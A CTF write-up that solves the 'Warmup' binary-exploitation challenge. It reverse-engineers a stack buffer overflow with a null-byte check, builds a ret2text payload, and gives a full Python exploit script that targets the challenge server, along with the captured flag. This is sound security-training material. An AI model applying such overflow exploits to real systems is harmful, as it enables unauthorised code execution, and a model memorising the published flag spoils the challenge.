Skip to main content
Warmup - CTF Writeup
  1. Writeups/
  2. MOJO-JOJO - CTF Writeups/
  3. Binary Exploitation/

Warmup - CTF Writeup

·796 words·4 mins·
Deadnaut
Author
Deadnaut
Documenting cybersecurity challenges, CTF writeups, and penetration testing insights from the digital frontier.
Table of Contents

Challenge Name: Warmup
Category: PWN
CTF: MOJO-JOJO
Description: A quiet hall.Just Speak, and be heard!!
Connection: nc mojo-pwn.securinets.tn 9001


Challenge Overview
#

We’re given a binary executable called main and a remote server to exploit. The challenge hint “Just Speak, and be heard!!” suggests there’s something special about how we need to communicate with the program.

Initial Analysis
#

Binary Information
#

$ file main
main: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, not stripped

String Analysis
#

$ strings main
Welcome to the warmup challenge!
Enter your input: 
Good job!
cat flag.txt

The presence of system function and “cat flag.txt” string immediately suggests a ret2text attack where we need to redirect execution to a specific address.

Reverse Engineering
#

Main Function
#

Disassembling the main function reveals:

0000000000401228 <main>:
  401228:   push   rbp
  401229:   mov    rbp,rsp
  ...
  401268:   call   401186 <vuln>        ; Call vulnerable function
  40126d:   lea    rax,[rip+0xdd2]      ; Load "cat flag.txt"
  401274:   mov    rdi,rax
  401277:   call   401040 <system@plt>  ; Call system("cat flag.txt")
  40127c:   mov    eax,0x0
  401281:   pop    rbp
  401282:   ret

Key Finding: After returning from vuln(), main calls system("cat flag.txt") at address 0x40126d.

Vuln Function
#

The vulnerable function is where the exploitation happens:

0000000000401186 <vuln>:
  401186:   push   rbp
  401187:   mov    rbp,rsp
  40118a:   sub    rsp,0x50              ; Allocate 80 bytes for buffer
  ...
  4011c0:   lea    rax,[rbp-0x50]        ; Buffer address
  4011c4:   mov    edx,0xc8              ; Read 200 bytes (OVERFLOW!)
  4011c9:   mov    rsi,rax
  4011cc:   mov    edi,0x0
  4011d1:   call   401060 <read@plt>

Vulnerability: Buffer is 80 bytes (rbp-0x50) but reads 200 bytes (0xc8)!

The Validation Check
#

After reading input, there’s an interesting validation loop:

  4011d9:   mov    eax,DWORD PTR [rbp-0x8]    ; bytes_read
  4011dc:   mov    edx,0x40                    ; 64
  4011e1:   cmp    eax,edx
  4011e3:   cmovg  eax,edx                     ; check_len = min(bytes_read, 64)
  4011e6:   mov    DWORD PTR [rbp-0xc],eax
  4011e9:   mov    DWORD PTR [rbp-0x4],0x0     ; i = 0
  4011f0:   jmp    40120e
  
  ; Loop body
  4011f2:   mov    eax,DWORD PTR [rbp-0x4]     ; i
  4011f5:   cdqe
  4011f7:   movzx  eax,BYTE PTR [rbp+rax*1-0x50]  ; buffer[i]
  4011fc:   test   al,al                       ; Check if byte is zero
  4011fe:   je     40120a                      ; If zero, continue
  401200:   mov    edi,0x1
  401205:   call   401090 <exit@plt>           ; If NON-ZERO, exit!
  40120a:   add    DWORD PTR [rbp-0x4],0x1     ; i++
  40120e:   mov    eax,DWORD PTR [rbp-0x4]
  401211:   cmp    eax,DWORD PTR [rbp-0xc]
  401214:   jl     4011f2                      ; Loop while i < check_len

Critical Discovery: The program checks the first 64 bytes of input and exits if ANY byte is non-zero!

This is the opposite of what you’d typically expect in a buffer overflow - we need to send null bytes to pass the validation!

Exploitation Strategy
#

Understanding the Constraints
#

  1. Buffer starts at rbp-0x50 (80 bytes from saved rbp)
  2. Saved rbp is at 8 bytes before return address
  3. Total offset to return address: 0x50 + 8 = 88 bytes
  4. The validation only checks the first min(bytes_read, 64) bytes
  5. Bytes 0-63 must be NULL (0x00) to pass validation
  6. Bytes 64-95 can be anything we want!

The Exploit
#

Since we can control bytes after the 64th byte, and the return address is at offset 88:

[64 null bytes] + [24 filler bytes] + [return address: 0x40126d]

The return address 0x40126d points to the instruction that calls system("cat flag.txt").

Payload Structure
#

Offset 0-63:   \x00 * 64       (Pass validation check)
Offset 64-87:  'A' * 24        (Filler to reach return address)
Offset 88-95:  \x6d\x12\x40\x00\x00\x00\x00\x00  (Return address, little-endian)

Exploit Code
#

#!/usr/bin/env python3
import socket
import struct

HOST = 'mojo-pwn.securinets.tn'
PORT = 9001

# Address where system("cat flag.txt") is called
system_call_addr = 0x40126d

# Calculate offset to return address
offset = 0x50 + 8  # 88 bytes

# Build payload
payload = b'\x00' * 64  # Pass the null byte check
payload += b'A' * (offset - 64)  # Fill to return address
payload += struct.pack('<Q', system_call_addr)  # Overwrite return address

# Connect and exploit
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((HOST, PORT))

# Receive prompt
data = s.recv(4096)
print(data.decode())

# Send payload
s.sendall(payload)

# Get flag
import time
time.sleep(0.5)
try:
    s.settimeout(2)
    while True:
        data = s.recv(4096)
        if not data:
            break
        print(data.decode(), end='')
except socket.timeout:
    pass

s.close()

Execution
#

$ python3 exploit.py
Welcome to the warmup challenge!
Enter your input: 
Good job!
MOJO-JOJO{st4rt1ng_fr0m_z3r0_1s_th3_k3y}

Final Flag
#

MOJO-JOJO{st4rt1ng_fr0m_z3r0_1s_th3_k3y}

Key Takeaways
#

  1. Read the assembly carefully: The validation check was doing the opposite of what you might expect - it required NULL bytes, not printable characters.

  2. Challenge hint: “Just Speak, and be heard!!” - Being “quiet” (sending null/zero bytes) was the key to being “heard” (getting the flag).

  3. Partial buffer checks: The validation only checked the first 64 bytes, but we could overflow up to 200 bytes, allowing us to control the return address beyond the checked region.

This challenge demonstrates that buffer overflow exploits can have creative twists, and assumptions about input validation can be misleading. Always analyze the exact behavior of checks rather than assuming their purpose.

Related